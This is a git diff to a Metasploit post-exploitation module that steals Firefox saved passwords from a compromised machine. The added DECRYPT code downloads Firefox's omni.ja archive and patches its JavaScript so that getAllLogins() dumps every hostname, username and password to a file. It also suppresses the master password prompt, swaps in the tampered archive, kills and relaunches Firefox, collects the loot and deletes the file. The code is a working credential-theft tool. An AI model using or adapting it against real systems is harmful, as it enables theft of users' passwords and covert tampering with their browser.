diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 62944537bb..52338a8170 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -7,12 +7,18 @@ require 'msf/core' require 'rex' +require 'zip/zip' +require 'tmpdir' require 'msf/core/post/file' +require 'msf/core/post/common' +require 'msf/core/auxiliary/report' require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Common + include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles def initialize(info={}) @@ -26,52 +32,115 @@ class Metasploit3 < Msf::Post Firefox stores passwords within the signons.sqlite database file. There is also a keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using - third party tools. If a Master Password was used the only option would be to - bruteforce. + third party tools or by setting the DECRYPT option to true. Using the latter often + needs root privileges. If a Master Password was used the only option would be + to bruteforce. }, 'License' => MSF_LICENSE, - 'Author' => ['bannedit'], + 'Author' => + [ + 'bannedit', + 'xard4s' # added decryption support + ], 'Platform' => ['win', 'linux', 'bsd', 'unix', 'osx'], 'SessionTypes' => ['meterpreter', 'shell' ] )) + + register_options( + [ + OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) + ] + ) #TODO - # - add support for decrypting the passwords without a Master Password # - Collect cookies. end def run - paths = [] print_status("Determining session platform and type...") case session.platform when /unix|linux|bsd/ @platform = :unix - paths = enum_users_unix when /osx/ @platform = :osx - paths = enum_users_unix when /win/ if session.type != "meterpreter" print_error "Only meterpreter sessions are supported on windows hosts" return end - - grab_user_profiles().each do |user| - next if user['AppData'] == nil - dir = check_firefox(user['AppData']) - if dir - paths << dir - end - end + @platform = :windows else print_error("Unsupported platform #{session.platform}") return end - if paths.nil? - print_error("No users found with a Firefox directory") - return + + if datastore['DECRYPT'] + omnija = nil + org_file = 'omni.ja' + new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja" + + # sets @paths + return unless get_ff_and_loot_path + + print_status("Downloading #{org_file} from #{@paths['ff']}") + omnija = read_file(@paths['ff']+org_file) + if omnija.nil? or omnija.empty? or omnija =~ /No such file/i + print_error("Could not download #{org_file}, archive may not exist") + return + end + # cross platform local tempdir, "/" should work on windows too + tmp = Dir::tmpdir + "/" + new_file + print_status("Writing #{org_file} to local file: #{tmp}") + file_local_write(tmp, omnija) + res = nil + print_status("Extracting and modifying #{new_file}...") + begin + # automatically commits the changes made to the zip archive when + # the block terminates + Zip::ZipFile.open(tmp) do |zip_file| + res = modify_omnija(zip_file) + end + rescue Zip::ZipError => e + print_error("Error modifying #{new_file}") + return + end + if res + print_status("Successfully modified #{new_file}") + else + print_error("Failed to patch method") + return + end + print_status("Uploading #{new_file} to #{@paths['ff']}") + if not upload_file(@paths['ff']+new_file, tmp) + print_error("Could not upload #{new_file}") + return + end + + return if not trigger_decrypt(org_file, new_file) + + download_creds + else + paths = [] + if @platform =~ /unix|osx/ + paths = enum_users_unix + else # windows + grab_user_profiles().each do |user| + next if user['AppData'] == nil + dir = check_firefox(user['AppData']) + if dir + paths << dir + end + end + end + + if paths.nil? + print_error("No users found with a Firefox directory") + return + end + + download_loot(paths.flatten) + end - download_loot(paths.flatten) end def enum_users_unix @@ -195,6 +264,262 @@ class Metasploit3 < Msf::Post end end + # checks for needed privileges and wheter Firefox is installed + def get_ff_and_loot_path + @paths = {} + check_paths = [] + drive = expand_path("%SystemDrive%") + loot_file = Rex::Text::rand_text_alpha(6) + ".txt" + + case @platform + when /win/ + if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i + print_error("You need root privileges on this platform for DECRYPT option") + return false + end + tmpdir = expand_path("%TEMP%") + "\\" + # this way allows for more independent use of meterpreter + # payload (32 and 64 bit) and cleaner code + check_paths << drive + '\\Program Files\\Mozilla Firefox\\' + check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\' + + when /unix/ + tmpdir = '/tmp/' + if cmd_exec("whoami").chomp !~ /root/ + print_error("You need root privileges on this platform for DECRYPT option") + return false + end + # unix matches linux|unix|bsd but bsd is not supported + if session.platform =~ /bsd/ + print_error("Sorry, bsd is not supported by the DECRYPT option") + return false + end + + check_paths << '/usr/lib/firefox/' + check_paths << '/usr/lib64/firefox/' + + when /osx/ + tmpdir = '/tmp/' + check_paths << '/applications/firefox.app/contents/macos/' + end + + @paths['ff'] = check_paths.find do |p| + check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '') + print_status("Checking for Firefox directory in: #{check}") + if directory?(p.sub(/(\\|\/)$/, '')) + print_good("Found Firefox directory") + true + else + print_error("No Firefox directory found") + false + end + end + + return false if @paths['ff'].nil? + + @paths['loot'] = tmpdir + loot_file + return true + + end + + def modify_omnija(zip) + files = [ + 'components/storage-mozStorage.js', + 'chrome/toolkit/content/passwordmgr/passwordManager.xul', + 'chrome/toolkit/content/global/commonDialog.xul', + 'jsloader/resource/gre/components/storage-mozStorage.js' + ] + + arya = files.map do |file| + fdata = {} + fdata['content'] = zip.read(file) unless file =~ /jsloader/ + fdata['outs'] = zip.get_output_stream(file) + fdata + end + + stor_js, pwd_xul, dlog_xul, res_js = arya + stor_js['outs_res'] = res_js['outs'] + + wnd_close = "window.close();" + onload = "Startup(); SignonsStartup(); #{wnd_close}" + + # get rid of (possible) master password prompt and close pwd + # manager immediately + dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close) + dlog_xul['outs'].write(dlog_xul['content']) + dlog_xul['outs'].close + + pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload) + pwd_xul['outs'].write(pwd_xul['content']) + pwd_xul['outs'].close + + # returns true or false + return patch_method(stor_js) + + end + + # Patches getAllLogins() method from storage-mozStorage.js + def patch_method(stor_js) + data = "" + # imports needed for IO + imports = %Q| + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + Components.utils.import("resource://gre/modules/FileUtils.jsm"); + Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); + | + + # Javascript code to intercept the logins array and write the + # credentials to a file + method_epilog = %Q| + var data = ""; + var path = "#{@paths['loot'].inspect.gsub(/"/, '')}"; + var file = new FileUtils.File(path); + + var outstream = FileUtils.openSafeFileOutputStream(file); + var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. + createInstance(Components.interfaces.nsIScriptableUnicodeConverter); + converter.charset = "UTF-8"; + + if (logins.length != 0) { + for (var i = 0; i < logins.length; i++) { + + data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^"; + + } + + } else { + data = "no creds"; + } + + var istream = converter.convertToInputStream(data); + NetUtil.asyncCopy(istream, outstream); + + return logins; + | + + regex = [ + nil, + [/return\slogins;/, method_epilog], + [/getAllLogins\s:\sfunction\s\(count\)\s{/, nil], + [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] + ] + + # match three regular expressions + i = 3 + stor_js['content'].each_line do |line| + # there is no real substitution if the matching regex + # has no corresponding patch code + if i != 0 and line.sub!(regex[i][0]) do |match| + if not regex[i][1].nil? + regex[i][1] + else + line + end + end + i -= 1 + end + + data << line + + end + + # write the same data to both output streams + stor_js['outs'].write(data) + stor_js['outs_res'].write(data) + stor_js['outs'].close + stor_js['outs_res'].close + + i == 0 ? 'return true' : 'return false' + + end + + # Starts a new firefox process and triggers decryption + def trigger_decrypt(org_file, new_file) + temp_file = "orgomni.ja" + [org_file, new_file, temp_file].each do |f| + f.insert(0, @paths['ff']) + end + # firefox command line arguments + args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul' + + # In case of unix-like platform Firefox needs to start under user + # context + if @platform =~ /unix/ + + # assuming userdir /home/(x) = user + print_status("Enumerating users...") + users = cmd_exec("ls /home") + if users.nil? or users.empty? + print_error("No normal user found") + return false + end + user = users.split()[0] + # Since we can't access the display environment variable + # we have to assume the default value + args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") + args << "\"" + cmd = "su #{user} -c" + + elsif @platform =~ /win|osx/ + + cmd = @paths['ff'] + "firefox" + # on osx, run in background + args << "& sleep 5 && killall firefox" if @platform =~ /osx/ + end + + # check if firefox is running and kill it + if session.type == "meterpreter" + session.sys.process.each_process do |p| + if p['name'] =~ /firefox\.exe/ + print_status("Found running Firefox process, attempting to kill.") + if not session.sys.process.kill(p['pid']) + print_error("Could not kill Firefox process") + return false + end + end + end + + elsif session.type != "meterpreter" + p = cmd_exec("ps", "cax | grep firefox") + if p =~ /firefox/ + print_status("Found running Firefox process, attempting to kill.") + term = cmd_exec("killall", "firefox && echo true") + if not term =~ /true/ + print_error("Could not kill Firefox process") + return false + end + end + end + # + # rename-fu + # omni.ja -> orgomni.ja + # *random*.ja -> omni.ja + # omni.ja -> *random*.ja + # orgomni.ja -> omni.ja + # + rename_file(org_file, temp_file) + rename_file(new_file, org_file) + + # automatic termination ( window.close() or arguments) + print_status("Starting Firefox process") + cmd_exec(cmd,args) + + rename_file(org_file, new_file) + rename_file(temp_file, org_file) + + # clean up + file_rm(new_file) + + # at this time it should have a loot file + if !file?(@paths['loot']) + print_error("Decryption failed, there's probably a master password in use") + return false + end + + return true + + end + def download_loot(paths) loot = "" paths.each do |path| @@ -248,6 +573,47 @@ class Metasploit3 < Msf::Post end end + def download_creds + print_good("Downloading loot: #{@paths['loot']}") + loot = read_file(@paths['loot']) + + if loot =~ /no creds/ + print_status("No Firefox credentials where found") + return + end + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Firefox credentials', + 'Indent' => 1, + 'Columns'=> + [ + 'Hostname', + 'User', + 'Password' + ] + ) + + creds = loot.split("^") + creds.each do |cred| + hostname, user, pass = cred.rstrip.split(" :: ") + cred_table << [hostname, user, pass] + end + + print_line("\n" + cred_table.to_s) + + path = store_loot( + "firefox.creds", + "text/plain", + session, + cred_table.to_csv, + "firefox_credentials.txt", + "Firefox Credentials") + + # better delete the remote creds file + file_rm(@paths['loot']) + + end + def got_root? case @platform when :windows